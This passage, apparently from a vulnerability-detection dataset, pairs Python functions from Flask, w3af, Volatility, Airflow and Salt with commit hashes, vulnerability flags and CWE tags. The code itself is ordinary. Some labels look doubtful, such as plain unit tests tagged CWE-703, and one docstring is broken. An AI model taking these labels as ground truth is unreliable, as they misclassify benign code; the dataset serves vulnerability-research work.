return f",,pallets/flask,aa1d34dc51fc63dabc46f388822ba73b15d3ef97,"def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
""""""Register a function to be run at the end of each request,
regardless of whether there was an exception or not. These functions
are executed when the request context is popped, even if not an
actual request was performed.
Example::
ctx = app.test_request_context()
ctx.push()
...
ctx.pop()
When ``ctx.pop()`` is executed in the above example, the teardown
functions are called just before the request context moves from the
stack of active contexts. This becomes relevant if you are using
such constructs in tests.
Teardown functions must avoid raising exceptions, since they . If they
execute code that might fail they
will have to surround the execution of these code by try/except
statements and log occurring errors.
When a teardown function was called because of an exception it will
be passed an error object.
The return values of teardown functions are ignored.
.. admonition:: Debug Note
In debug mode Flask will not tear down a request on an exception
immediately. Instead it will keep it alive so that the interactive
debugger can still access it. This behavior can be controlled
by the ``PRESERVE_CONTEXT_ON_EXCEPTION`` configuration variable.
""""""
self.teardown_request_funcs.setdefault(None, []).append(f)
return f"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gui/exception_handling/unhandled_bug_report.py,0,"def __init__(self, w3af_core, title, tback, fname, plugins):
# Before doing anything else, cleanup the report to remove any
# user information that might be present.
tback = cleanup_bug_report(tback)
simple_base_window.__init__(self)
trac_bug_report.__init__(self, tback, fname, plugins)
# We got here because of an autogenerated bug, not because of the user
# going to the Help menu and then clicking on ""Report a bug""
self.autogen = True
# Set generic window settings
self.set_modal(True)
self.set_title(title)
self.vbox = gtk.VBox()
self.vbox.set_border_width(10)
# the label for the title
self.title_label = gtk.Label()
self.title_label.set_line_wrap(True)
label_text = _('An unhandled exception was raised')
self.title_label.set_markup(label_text)
self.title_label.show()
# A gtk.TextView for the exception
frame = gtk.Frame('Traceback')
sw = gtk.ScrolledWindow()
sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
self.text_view = gtk.TextView()
self.text_view.set_size_request(150, 250)
self.text_view.set_editable(False)
self.text_view.set_wrap_mode(gtk.WRAP_CHAR)
buffer = self.text_view.get_buffer()
buffer.set_text(tback)
sw.add(self.text_view)
frame.add(sw)
# the label for the rest of the message
self.label = gtk.Label()
self.label.set_line_wrap(True)
label_text = _(""All this info is in a file called '%s' for later""
' review.\n\nIf you wish, you can contribute'
' to the w3af project and submit this bug to our'
' bug tracking system from within this window. It is'
' a simple two step process.\n\n'
'w3af will only send the exception traceback and the'
' version information to Trac, no personal or '
' confidential information is collected.')
self.label.set_markup( label_text % fname )
self.label.show()
self.vbox.pack_start(self.title_label, True, True, 10)
self.vbox.pack_start(frame, True, True)
self.vbox.pack_start(self.label, True, True, 10)
# the buttons
self.hbox = gtk.HBox()
self.butt_cancel = gtk.Button(stock=gtk.STOCK_CANCEL)
self.butt_cancel.connect(""clicked"", self._handle_cancel)
self.hbox.pack_start(self.butt_cancel, True, False)
self.butt_send = gtk.Button(stock=gtk.STOCK_OK)
self.butt_send.connect(""clicked"", self.report_bug)
self.hbox.pack_start(self.butt_send, True, False)
self.vbox.pack_start(self.hbox, True, False, 10)
#self.resize(400,450)
self.add(self.vbox)
self.show_all()
# This is a quick fix to get around the problem generated by ""set_selectable""
# that selects the text by default
self.label.select_region(0, 0)",,andresriancho/w3af,259396ea7c03d57d2cfa5b5cd72c0b24a90ddaf0,"def __init__(self, w3af_core, title, tback, fname, plugins):
# Before doing anything else, cleanup the report to remove any
# user information that might be present.
tback = cleanup_bug_report(tback)
simple_base_window.__init__(self)
trac_bug_report.__init__(self, tback, fname, plugins)
# We got here because of an autogenerated bug, not because of the user
# going to the Help menu and then clicking on ""Report a bug""
self.autogen = True
# Set generic window settings
self.set_modal(True)
self.set_title(title)
self.vbox = gtk.VBox()
self.vbox.set_border_width(10)
# the label for the title
self.title_label = gtk.Label()
self.title_label.set_line_wrap(True)
label_text = _('An unhandled exception was raised')
self.title_label.set_markup(label_text)
self.title_label.show()
# A gtk.TextView for the exception
frame = gtk.Frame('Traceback')
sw = gtk.ScrolledWindow()
sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
self.text_view = gtk.TextView()
self.text_view.set_size_request(150, 250)
self.text_view.set_editable(False)
self.text_view.set_wrap_mode(gtk.WRAP_CHAR)
buffer = self.text_view.get_buffer()
buffer.set_text(tback)
sw.add(self.text_view)
frame.add(sw)
# the label for the rest of the message
self.label = gtk.Label()
self.label.set_line_wrap(True)
label_text = _(""All this info is in a file called '%s' for later"")
label_text += _(' review.\n\nIf you wish, you can contribute')
label_text += _(' to the w3af project and submit this bug to our')
label_text += _(' bug tracking system from within this window. It is')
label_text += _(' a simple two step process.\n\n')
label_text += _('w3af will only send the exception traceback and the')
label_text += _(' version information to Trac, no personal or ')
label_text += _(' confidential information is collected.')
self.label.set_markup( label_text % fname )
self.label.show()
self.vbox.pack_start(self.title_label, True, True, 10)
self.vbox.pack_start(frame, True, True)
self.vbox.pack_start(self.label, True, True, 10)
# the buttons
self.hbox = gtk.HBox()
self.butt_cancel = gtk.Button(stock=gtk.STOCK_CANCEL)
self.butt_cancel.connect(""clicked"", self._handle_cancel)
self.hbox.pack_start(self.butt_cancel, True, False)
self.butt_send = gtk.Button(stock=gtk.STOCK_OK)
self.butt_send.connect(""clicked"", self.report_bug)
self.hbox.pack_start(self.butt_send, True, False)
self.vbox.pack_start(self.hbox, True, False, 10)
#self.resize(400,450)
self.add(self.vbox)
self.show_all()
# This is a quick fix to get around the problem generated by ""set_selectable""
# that selects the text by default
self.label.select_region(0, 0)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/modules.py,0,"def render_text(self, outfd, data):
offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
self.table_header(outfd,
[(""Offset{0}"".format(offsettype), ""[addrpad]""),
(""Name"", ""20""),
('Base', ""[addrpad]""),
('Size', ""[addr]""),
('File', """")
])
for module in data:
if not self._config.PHYSICAL_OFFSET:
offset = module.obj_offset
else:
offset = module.obj_vm.vtop(module.obj_offset)
self.table_row(outfd,
offset,
str(module.BaseDllName or ''),
module.DllBase,
module.SizeOfImage,
str(module.FullDllName or ''))",,volatilityfoundation/volatility,b2c726b7b06193c1133b17309d3ce45c4af82a44,"def render_text(self, outfd, data):
offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
self.table_header(outfd,
[(""Offset{0}"".format(offsettype), ""[addrpad]""),
(""Name"", ""20""),
('Base', ""[addrpad]""),
('Size', ""[addr]""),
('File', """")
])
for module in data:
if not self._config.PHYSICAL_OFFSET:
offset = module.obj_offset
else:
offset = module.obj_vm.vtop(module.obj_offset)
self.table_row(outfd,
offset,
module.BaseDllName,
module.DllBase,
module.SizeOfImage,
module.FullDllName)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/migrations/versions/82b7c48c147f_remove_can_read_permission_on_config_.py,0,"def upgrade():
""""""Remove can_read action from config resource for User and Viewer role""""""
log = logging.getLogger()
handlers = log.handlers[:]
appbuilder = create_app(config={'FAB_UPDATE_PERMS': False}).appbuilder
roles_to_modify = [role for role in appbuilder.sm.get_all_roles() if role.name in [""User"", ""Viewer""]]
can_read_on_config_perm = appbuilder.sm.get_permission(
permissions.ACTION_CAN_READ, permissions.RESOURCE_CONFIG
)
for role in roles_to_modify:
if appbuilder.sm.permission_exists_in_one_or_more_roles(
permissions.RESOURCE_CONFIG, permissions.ACTION_CAN_READ, [role.id]
):
appbuilder.sm.remove_permission_from_role(role, can_read_on_config_perm)
log.handlers = handlers",CWE-Unknown,apache/airflow,6deebec04c71373f5f99a14a3477fc4d6dc9bcdc,"def upgrade():
""""""Remove can_read action from config resource for User and Viewer role""""""
log = logging.getLogger()
handlers = log.handlers[:]
appbuilder = create_app(config={'FAB_UPDATE_PERMS': False}).appbuilder
roles_to_modify = [role for role in appbuilder.sm.get_all_roles() if role.name in [""User"", ""Viewer""]]
can_read_on_config_perm = appbuilder.sm.get_permission(
permissions.ACTION_CAN_READ, permissions.RESOURCE_CONFIG
)
for role in roles_to_modify:
if appbuilder.sm.exist_permission_on_roles(
permissions.RESOURCE_CONFIG, permissions.ACTION_CAN_READ, [role.id]
):
appbuilder.sm.remove_permission_from_role(role, can_read_on_config_perm)
log.handlers = handlers"
,UNKNOWN,UNKNOWN,salt/state.py,1,"def call(self, low, chunks=None, running=None, retries=1):
'''
Call a state directly with the low data structure, verify data
before processing.
'''
use_uptime = False
if os.path.isfile('/proc/uptime'):
use_uptime = True
with salt.utils.files.fopen('/proc/uptime', 'r') as fp_:
start_uptime = float(fp_.readline().split()[0])
utc_start_time = datetime.datetime.utcnow()
local_start_time = utc_start_time - (datetime.datetime.utcnow() - datetime.datetime.now())
log.info('Running state [%s] at time %s',
low['name'].strip() if isinstance(low['name'], six.string_types)
else low['name'],
local_start_time.time().isoformat()
)
errors = self.verify_data(low)
if errors:
ret = {
'result': False,
'name': low['name'],
'changes': {},
'comment': '',
}
for err in errors:
ret['comment'] += '{0}\n'.format(err)
ret['__run_num__'] = self.__run_num
self.__run_num += 1
format_log(ret)
self.check_refresh(low, ret)
return ret
else:
ret = {'result': False, 'name': low['name'], 'changes': {}}
self.state_con['runas'] = low.get('runas', None)
if low['state'] == 'cmd' and 'password' in low:
self.state_con['runas_password'] = low['password']
else:
self.state_con['runas_password'] = low.get('runas_password', None)
if not low.get('__prereq__'):
log.info(
'Executing state %s.%s for [%s]',
low['state'],
low['fun'],
low['name'].strip() if isinstance(low['name'], six.string_types)
else low['name']
)
if 'provider' in low:
self.load_modules(low)
state_func_name = '{0[state]}.{0[fun]}'.format(low)
cdata = salt.utils.args.format_call(
self.states[state_func_name],
low,
initial_ret={'full': state_func_name},
expected_extra_kws=STATE_INTERNAL_KEYWORDS
)
inject_globals = {
# Pass a copy of the running dictionary, the low state chunks and
# the current state dictionaries.
# We pass deep copies here because we don't want any misbehaving
# state module to change these at runtime.
'__low__': immutabletypes.freeze(low),
'__running__': immutabletypes.freeze(running) if running else {},
'__instance_id__': self.instance_id,
'__lowstate__': immutabletypes.freeze(chunks) if chunks else {}
}
if '__env__' in low:
inject_globals['__env__'] = six.text_type(low['__env__'])
if self.inject_globals:
inject_globals.update(self.inject_globals)
if low.get('__prereq__'):
test = sys.modules[self.states[cdata['full']].__module__].__opts__['test']
sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = True
try:
# Let's get a reference to the salt environment to use within this
# state call.
#
# If the state function accepts an 'env' keyword argument, it
# allows the state to be overridden(we look for that in cdata). If
# that's not found in cdata, we look for what we're being passed in
# the original data, namely, the special dunder __env__. If that's
# not found we default to 'base'
if ('unless' in low and '{0[state]}.mod_run_check'.format(low) not in self.states) or \
('onlyif' in low and '{0[state]}.mod_run_check'.format(low) not in self.states):
ret.update(self._run_check(low))
if not self.opts.get('lock_saltenv', False):
# NOTE: Overriding the saltenv when lock_saltenv is blocked in
# salt/modules/state.py, before we ever get here, but this
# additional check keeps use of the State class outside of the
# salt/modules/state.py from getting around this setting.
if 'saltenv' in low:
inject_globals['__env__'] = six.text_type(low['saltenv'])
elif isinstance(cdata['kwargs'].get('env', None), six.string_types):
# User is using a deprecated env setting which was parsed by
# format_call.
# We check for a string type since module functions which
# allow setting the OS environ also make use of the ""env""
# keyword argument, which is not a string
inject_globals['__env__'] = six.text_type(cdata['kwargs']['env'])
if '__env__' not in inject_globals:
# Let's use the default environment
inject_globals['__env__'] = 'base'
if '__orchestration_jid__' in low:
inject_globals['__orchestration_jid__'] = \
low['__orchestration_jid__']
if 'result' not in ret or ret['result'] is False:
self.states.inject_globals = inject_globals
if self.mocked:
ret = mock_ret(cdata)
else:
# Execute the state function
if not low.get('__prereq__') and low.get('parallel'):
# run the state call in parallel, but only if not in a prereq
ret = self.call_parallel(cdata, low)
else:
self.format_slots(cdata)
ret = self.states[cdata['full']](*cdata['args'],
**cdata['kwargs'])
self.states.inject_globals = {}
if 'check_cmd' in low and '{0[state]}.mod_run_check_cmd'.format(low) not in self.states:
ret.update(self._run_check_cmd(low))
except Exception:
trb = traceback.format_exc()
# There are a number of possibilities to not have the cdata
# populated with what we might have expected, so just be smart
# enough to not raise another KeyError as the name is easily
# guessable and fallback in all cases to present the real
# exception to the user
name = (cdata.get('args') or [None])[0] or cdata['kwargs'].get('name')
if not name:
name = low.get('name', low.get('__id__'))
ret = {
'result': False,
'name': name,
'changes': {},
'comment': 'An exception occurred in this state: {0}'.format(
trb)
}
finally:
if low.get('__prereq__'):
sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = test
self.state_con.pop('runas', None)
self.state_con.pop('runas_password', None)
if not isinstance(ret, dict):
return ret
# If format_call got any warnings, let's show them to the user
if 'warnings' in cdata:
ret.setdefault('warnings', []).extend(cdata['warnings'])
if 'provider' in low:
self.load_modules()
if low.get('__prereq__'):
low['__prereq__'] = False
return ret
ret['__sls__'] = low.get('__sls__')
ret['__run_num__'] = self.__run_num
self.__run_num += 1
format_log(ret)
self.check_refresh(low, ret)
if use_uptime:
with salt.utils.files.fopen('/proc/uptime', 'r') as fp_:
finish_uptime = float(fp_.readline().split()[0])
utc_finish_time = datetime.datetime.utcnow()
timezone_delta = datetime.datetime.utcnow() - datetime.datetime.now()
local_finish_time = utc_finish_time - timezone_delta
local_start_time = utc_start_time - timezone_delta
ret['start_time'] = local_start_time.time().isoformat()
if use_uptime:
duration = (finish_uptime - start_uptime) * 1000.0
else:
delta = (utc_finish_time - utc_start_time)
# duration in milliseconds.microseconds
duration = (delta.seconds * 1000000 + delta.microseconds) / 1000.0
ret['duration'] = duration
ret['__id__'] = low['__id__']
log.info(
'Completed state [%s] at time %s (duration_in_ms=%s)',
low['name'].strip() if isinstance(low['name'], six.string_types)
else low['name'],
local_finish_time.time().isoformat(),
duration
)
if 'retry' in low:
low['retry'] = self.verify_retry_data(low['retry'])
if not sys.modules[self.states[cdata['full']].__module__].__opts__['test']:
if low['retry']['until'] != ret['result']:
if low['retry']['attempts'] > retries:
interval = low['retry']['interval']
if low['retry']['splay'] != 0:
interval = interval + random.randint(0, low['retry']['splay'])
log.info(
'State result does not match retry until value, '
'state will be re-run in %s seconds', interval
)
self.functions['test.sleep'](interval)
retry_ret = self.call(low, chunks, running, retries=retries+1)
orig_ret = ret
ret = retry_ret
ret['comment'] = '\n'.join(
[(
'Attempt {0}: Returned a result of ""{1}"", '
'with the following comment: ""{2}""'.format(
retries,
orig_ret['result'],
orig_ret['comment'])
),
'' if not ret['comment'] else ret['comment']])
ret['duration'] = ret['duration'] + orig_ret['duration'] + (interval * 1000)
if retries == 1:
ret['start_time'] = orig_ret['start_time']
else:
ret['comment'] = ' '.join(
['' if not ret['comment'] else ret['comment'],
('The state would be retried every {1} seconds '
'(with a splay of up to {3} seconds) '
'a maximum of {0} times or until a result of {2} '
'is returned').format(low['retry']['attempts'],
low['retry']['interval'],
low['retry']['until'],
low['retry']['splay'])])
return ret",CWE-330,saltstack/salt,a0d55df7664ff97f6863d9fa4c5f2b0da721577b,"def call(self, low, chunks=None, running=None, retries=1):
'''
Call a state directly with the low data structure, verify data
before processing.
'''
utc_start_time = datetime.datetime.utcnow()
local_start_time = utc_start_time - (datetime.datetime.utcnow() - datetime.datetime.now())
log.info('Running state [%s] at time %s',
low['name'].strip() if isinstance(low['name'], six.string_types)
else low['name'],
local_start_time.time().isoformat()
)
errors = self.verify_data(low)
if errors:
ret = {
'result': False,
'name': low['name'],
'changes': {},
'comment': '',
}
for err in errors:
ret['comment'] += '{0}\n'.format(err)
ret['__run_num__'] = self.__run_num
self.__run_num += 1
format_log(ret)
self.check_refresh(low, ret)
return ret
else:
ret = {'result': False, 'name': low['name'], 'changes': {}}
self.state_con['runas'] = low.get('runas', None)
if low['state'] == 'cmd' and 'password' in low:
self.state_con['runas_password'] = low['password']
else:
self.state_con['runas_password'] = low.get('runas_password', None)
if not low.get('__prereq__'):
log.info(
'Executing state %s.%s for [%s]',
low['state'],
low['fun'],
low['name'].strip() if isinstance(low['name'], six.string_types)
else low['name']
)
if 'provider' in low:
self.load_modules(low)
state_func_name = '{0[state]}.{0[fun]}'.format(low)
cdata = salt.utils.args.format_call(
self.states[state_func_name],
low,
initial_ret={'full': state_func_name},
expected_extra_kws=STATE_INTERNAL_KEYWORDS
)
inject_globals = {
# Pass a copy of the running dictionary, the low state chunks and
# the current state dictionaries.
# We pass deep copies here because we don't want any misbehaving
# state module to change these at runtime.
'__low__': immutabletypes.freeze(low),
'__running__': immutabletypes.freeze(running) if running else {},
'__instance_id__': self.instance_id,
'__lowstate__': immutabletypes.freeze(chunks) if chunks else {}
}
if '__env__' in low:
inject_globals['__env__'] = six.text_type(low['__env__'])
if self.inject_globals:
inject_globals.update(self.inject_globals)
if low.get('__prereq__'):
test = sys.modules[self.states[cdata['full']].__module__].__opts__['test']
sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = True
try:
# Let's get a reference to the salt environment to use within this
# state call.
#
# If the state function accepts an 'env' keyword argument, it
# allows the state to be overridden(we look for that in cdata). If
# that's not found in cdata, we look for what we're being passed in
# the original data, namely, the special dunder __env__. If that's
# not found we default to 'base'
if ('unless' in low and '{0[state]}.mod_run_check'.format(low) not in self.states) or \
('onlyif' in low and '{0[state]}.mod_run_check'.format(low) not in self.states):
ret.update(self._run_check(low))
if not self.opts.get('lock_saltenv', False):
# NOTE: Overriding the saltenv when lock_saltenv is blocked in
# salt/modules/state.py, before we ever get here, but this
# additional check keeps use of the State class outside of the
# salt/modules/state.py from getting around this setting.
if 'saltenv' in low:
inject_globals['__env__'] = six.text_type(low['saltenv'])
elif isinstance(cdata['kwargs'].get('env', None), six.string_types):
# User is using a deprecated env setting which was parsed by
# format_call.
# We check for a string type since module functions which
# allow setting the OS environ also make use of the ""env""
# keyword argument, which is not a string
inject_globals['__env__'] = six.text_type(cdata['kwargs']['env'])
if '__env__' not in inject_globals:
# Let's use the default environment
inject_globals['__env__'] = 'base'
if '__orchestration_jid__' in low:
inject_globals['__orchestration_jid__'] = \
low['__orchestration_jid__']
if 'result' not in ret or ret['result'] is False:
self.states.inject_globals = inject_globals
if self.mocked:
ret = mock_ret(cdata)
else:
# Execute the state function
if not low.get('__prereq__') and low.get('parallel'):
# run the state call in parallel, but only if not in a prereq
ret = self.call_parallel(cdata, low)
else:
self.format_slots(cdata)
ret = self.states[cdata['full']](*cdata['args'],
**cdata['kwargs'])
self.states.inject_globals = {}
if 'check_cmd' in low and '{0[state]}.mod_run_check_cmd'.format(low) not in self.states:
ret.update(self._run_check_cmd(low))
except Exception:
trb = traceback.format_exc()
# There are a number of possibilities to not have the cdata
# populated with what we might have expected, so just be smart
# enough to not raise another KeyError as the name is easily
# guessable and fallback in all cases to present the real
# exception to the user
name = (cdata.get('args') or [None])[0] or cdata['kwargs'].get('name')
if not name:
name = low.get('name', low.get('__id__'))
ret = {
'result': False,
'name': name,
'changes': {},
'comment': 'An exception occurred in this state: {0}'.format(
trb)
}
finally:
if low.get('__prereq__'):
sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = test
self.state_con.pop('runas', None)
self.state_con.pop('runas_password', None)
if not isinstance(ret, dict):
return ret
# If format_call got any warnings, let's show them to the user
if 'warnings' in cdata:
ret.setdefault('warnings', []).extend(cdata['warnings'])
if 'provider' in low:
self.load_modules()
if low.get('__prereq__'):
low['__prereq__'] = False
return ret
ret['__sls__'] = low.get('__sls__')
ret['__run_num__'] = self.__run_num
self.__run_num += 1
format_log(ret)
self.check_refresh(low, ret)
utc_finish_time = datetime.datetime.utcnow()
timezone_delta = datetime.datetime.utcnow() - datetime.datetime.now()
local_finish_time = utc_finish_time - timezone_delta
local_start_time = utc_start_time - timezone_delta
ret['start_time'] = local_start_time.time().isoformat()
delta = (utc_finish_time - utc_start_time)
# duration in milliseconds.microseconds
duration = (delta.seconds * 1000000 + delta.microseconds) / 1000.0
ret['duration'] = duration
ret['__id__'] = low['__id__']
log.info(
'Completed state [%s] at time %s (duration_in_ms=%s)',
low['name'].strip() if isinstance(low['name'], six.string_types)
else low['name'],
local_finish_time.time().isoformat(),
duration
)
if 'retry' in low:
low['retry'] = self.verify_retry_data(low['retry'])
if not sys.modules[self.states[cdata['full']].__module__].__opts__['test']:
if low['retry']['until'] != ret['result']:
if low['retry']['attempts'] > retries:
interval = low['retry']['interval']
if low['retry']['splay'] != 0:
interval = interval + random.randint(0, low['retry']['splay'])
log.info(
'State result does not match retry until value, '
'state will be re-run in %s seconds', interval
)
self.functions['test.sleep'](interval)
retry_ret = self.call(low, chunks, running, retries=retries+1)
orig_ret = ret
ret = retry_ret
ret['comment'] = '\n'.join(
[(
'Attempt {0}: Returned a result of ""{1}"", '
'with the following comment: ""{2}""'.format(
retries,
orig_ret['result'],
orig_ret['comment'])
),
'' if not ret['comment'] else ret['comment']])
ret['duration'] = ret['duration'] + orig_ret['duration'] + (interval * 1000)
if retries == 1:
ret['start_time'] = orig_ret['start_time']
else:
ret['comment'] = ' '.join(
['' if not ret['comment'] else ret['comment'],
('The state would be retried every {1} seconds '
'(with a splay of up to {3} seconds) '
'a maximum of {0} times or until a result of {2} '
'is returned').format(low['retry']['attempts'],
low['retry']['interval'],
low['retry']['until'],
low['retry']['splay'])])
return ret"
,UNKNOWN,UNKNOWN,tests/providers/hashicorp/secrets/test_vault.py,1,"def test_get_conn_uri_non_existent_key(self, mock_hvac):
""""""
Test that if the key with connection ID is not present in Vault, _VaultClient.get_connection
should return None
""""""
mock_client = mock.MagicMock()
mock_hvac.Client.return_value = mock_client
# Response does not contain the requested key
mock_client.secrets.kv.v2.read_secret_version.side_effect = InvalidPath()
kwargs = {
""connections_path"": ""connections"",
""mount_point"": ""airflow"",
""auth_type"": ""token"",
""url"": ""http://127.0.0.1:8200"",
""token"": ""s.7AU0I51yv1Q1lxOIg1F3ZRAS"",
}
test_client = VaultBackend(**kwargs)
assert test_client.get_conn_uri(conn_id=""test_mysql"") is None
mock_client.secrets.kv.v2.read_secret_version.assert_called_once_with(
mount_point=""airflow"", path=""connections/test_mysql"", version=None, raise_on_deleted_version=True
)
assert test_client.get_connection(conn_id=""test_mysql"") is None",CWE-703,apache/airflow,cde72b6e0e6f7a03e3840a931f55feb0760b5134,"def test_get_conn_uri_non_existent_key(self, mock_hvac):
""""""
Test that if the key with connection ID is not present in Vault, _VaultClient.get_connection
should return None
""""""
mock_client = mock.MagicMock()
mock_hvac.Client.return_value = mock_client
# Response does not contain the requested key
mock_client.secrets.kv.v2.read_secret_version.side_effect = InvalidPath()
kwargs = {
""connections_path"": ""connections"",
""mount_point"": ""airflow"",
""auth_type"": ""token"",
""url"": ""http://127.0.0.1:8200"",
""token"": ""s.7AU0I51yv1Q1lxOIg1F3ZRAS"",
}
test_client = VaultBackend(**kwargs)
assert test_client.get_conn_uri(conn_id=""test_mysql"") is None
mock_client.secrets.kv.v2.read_secret_version.assert_called_once_with(
mount_point=""airflow"", path=""connections/test_mysql"", version=None
)
assert test_client.get_connection(conn_id=""test_mysql"") is None"
,UNKNOWN,UNKNOWN,tests/auth/managers/simple/test_simple_auth_manager.py,1,"def test_serialize_user(self, auth_manager):
user = SimpleAuthManagerUser(username=""test"", role=""admin"")
result = auth_manager.serialize_user(user)
assert result == {""username"": ""test"", ""role"": ""admin""}",CWE-703,apache/airflow,d024cdab190eb46eb0ce21679f44f08df5690cb9,"def test_serialize_user(self, auth_manager):
user = SimpleAuthManagerUser(username=""test"", role=""admin"")
result = auth_manager.serialize_user(user)
assert result == {""username"": ""test"", ""role"": ""admin""}"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/transfers/test_oracle_to_gcs.py,1,"def test_exec_success_json(self, gcs_hook_mock_class, oracle_hook_mock_class):
""""""Test successful run of execute function for JSON""""""
op = OracleToGCSOperator(
task_id=TASK_ID, oracle_conn_id=ORACLE_CONN_ID, sql=SQL, bucket=BUCKET, filename=JSON_FILENAME
)
oracle_hook_mock = oracle_hook_mock_class.return_value
oracle_hook_mock.get_conn().cursor().__iter__.return_value = iter(ROWS)
oracle_hook_mock.get_conn().cursor().description = CURSOR_DESCRIPTION
gcs_hook_mock = gcs_hook_mock_class.return_value
def _assert_upload(bucket, obj, tmp_filename, mime_type=None, gzip=False, metadata=None):
assert bucket == BUCKET
assert JSON_FILENAME.format(0) == obj
assert mime_type == ""application/json""
assert gzip == GZIP
with open(tmp_filename, ""rb"") as file:
assert b"""".join(NDJSON_LINES) == file.read()
gcs_hook_mock.upload.side_effect = _assert_upload
op.execute(None)
oracle_hook_mock_class.assert_called_once_with(oracle_conn_id=ORACLE_CONN_ID)
oracle_hook_mock.get_conn().cursor().execute.assert_called_once_with(SQL)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_exec_success_json(self, gcs_hook_mock_class, oracle_hook_mock_class):
""""""Test successful run of execute function for JSON""""""
op = OracleToGCSOperator(
task_id=TASK_ID, oracle_conn_id=ORACLE_CONN_ID, sql=SQL, bucket=BUCKET, filename=JSON_FILENAME
)
oracle_hook_mock = oracle_hook_mock_class.return_value
oracle_hook_mock.get_conn().cursor().__iter__.return_value = iter(ROWS)
oracle_hook_mock.get_conn().cursor().description = CURSOR_DESCRIPTION
gcs_hook_mock = gcs_hook_mock_class.return_value
def _assert_upload(bucket, obj, tmp_filename, mime_type=None, gzip=False, metadata=None):
assert BUCKET == bucket
assert JSON_FILENAME.format(0) == obj
assert ""application/json"" == mime_type
assert GZIP == gzip
with open(tmp_filename, ""rb"") as file:
assert b"""".join(NDJSON_LINES) == file.read()
gcs_hook_mock.upload.side_effect = _assert_upload
op.execute(None)
oracle_hook_mock_class.assert_called_once_with(oracle_conn_id=ORACLE_CONN_ID)
oracle_hook_mock.get_conn().cursor().execute.assert_called_once_with(SQL)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/targetSettings.py,0,"def setOptions( self, optionsMap ):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptions().
@parameter optionsMap: A dictionary with the options for the plugin.
@return: No value is returned.
'''
targetUrls = optionsMap['target'].getValue()
for targetUrl in targetUrls:
if not targetUrl.count('file://') and not targetUrl.count('http://')\
and not targetUrl.count('https://'):
raise w3afException('Invalid format for target URL ""'+ targetUrl + '"", you have to specify the protocol (http/https/file).' )
for targetUrl in targetUrls:
if targetUrl.count('file://'):
try:
f = open( targetUrl.replace( 'file://' , '' ) )
except:
raise w3afException('Cannot open target file: ' + targetUrl.replace( 'file://' , '' ) )
else:
for line in f:
targetUrls.append( line.strip() )
f.close()
targetUrls.remove( targetUrl )
# Now we perform a check to see if the user has specified more than one target
# domain, for example: ""http://google.com, http://yahoo.com"".
domainList = [urlParser.getDomain(targetURL) for targetURL in targetUrls]
domainList = list( set(domainList) )
if len( domainList ) > 1:
msg = 'You specified more than one target domain: ' + ','.join(domainList)
msg += ' . And w3af only supports one target domain at the time.'
raise w3afException(msg)
# Save in the config, the target URLs, this may be usefull for some plugins.
cf.cf.save('targets', targetUrls)
cf.cf.save('targetDomains', [ urlParser.getDomain( i ) for i in targetUrls ] )
cf.cf.save('baseURLs', [ urlParser.baseUrl( i ) for i in targetUrls ] )
if targetUrls:
sessName = [ urlParser.getDomain(x) for x in targetUrls ]
sessName = '-'.join(sessName)
else:
sessName = 'noTarget'
cf.cf.save('sessionName', sessName + '-' + time.strftime('%Y-%b-%d_%H-%M') )
# Advanced target selection
os = optionsMap['targetOS'].getValueStr()
if os.lower() in self._operatingSystems:
cf.cf.save('targetOS', os.lower() )
else:
raise w3afException('Unknown target operating system: ' + os)
pf = optionsMap['targetFramework'].getValueStr()
if pf.lower() in self._programmingFrameworks:
cf.cf.save('targetFramework', pf.lower() )
else:
raise w3afException('Unknown target programming framework: ' + pf)",,andresriancho/w3af,c5f2940c949c449328915a617acb5dcf6dec6112,"def setOptions( self, optionsMap ):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptions().
@parameter optionsMap: A dictionary with the options for the plugin.
@return: No value is returned.
'''
targetUrls = optionsMap['target'].getValue()
for targetUrl in targetUrls:
if not targetUrl.count('file://') and not targetUrl.count('http://')\
and not targetUrl.count('https://'):
raise w3afException('Invalid format for target URL ""'+ targetUrl + '"", you have to specify the protocol (http/https/file).' )
for targetUrl in targetUrls:
if targetUrl.count('file://'):
try:
f = open( targetUrl.replace( 'file://' , '' ) )
except:
raise w3afException('Cannot open target file: ' + targetUrl.replace( 'file://' , '' ) )
else:
for line in f:
targetUrls.append( line.strip() )
f.close()
targetUrls.remove( targetUrl )
# Now we perform a check to see if the user has specified more than one target
# domain, for example: ""http://google.com, http://yahoo.com"".
domainList = [urlParser.getDomain(targetURL) for targetURL in targetUrls]
domainList = list( set(domainList) )
if len( domainList ) != 1:
msg = 'You specified more than one target domain: ' + ','.join(domainList)
msg += ' . And w3af only supports one target domain at the time.'
raise w3afException(msg)
# Save in the config, the target URLs, this may be usefull for some plugins.
cf.cf.save('targets', targetUrls)
cf.cf.save('targetDomains', [ urlParser.getDomain( i ) for i in targetUrls ] )
cf.cf.save('baseURLs', [ urlParser.baseUrl( i ) for i in targetUrls ] )
if targetUrls:
sessName = [ urlParser.getDomain(x) for x in targetUrls ]
sessName = '-'.join(sessName)
else:
sessName = 'noTarget'
cf.cf.save('sessionName', sessName + '-' + time.strftime('%Y-%b-%d_%H-%M') )
# Advanced target selection
os = optionsMap['targetOS'].getValueStr()
if os.lower() in self._operatingSystems:
cf.cf.save('targetOS', os.lower() )
else:
raise w3afException('Unknown target operating system: ' + os)
pf = optionsMap['targetFramework'].getValueStr()
if pf.lower() in self._programmingFrameworks:
cf.cf.save('targetFramework', pf.lower() )
else:
raise w3afException('Unknown target programming framework: ' + pf)"
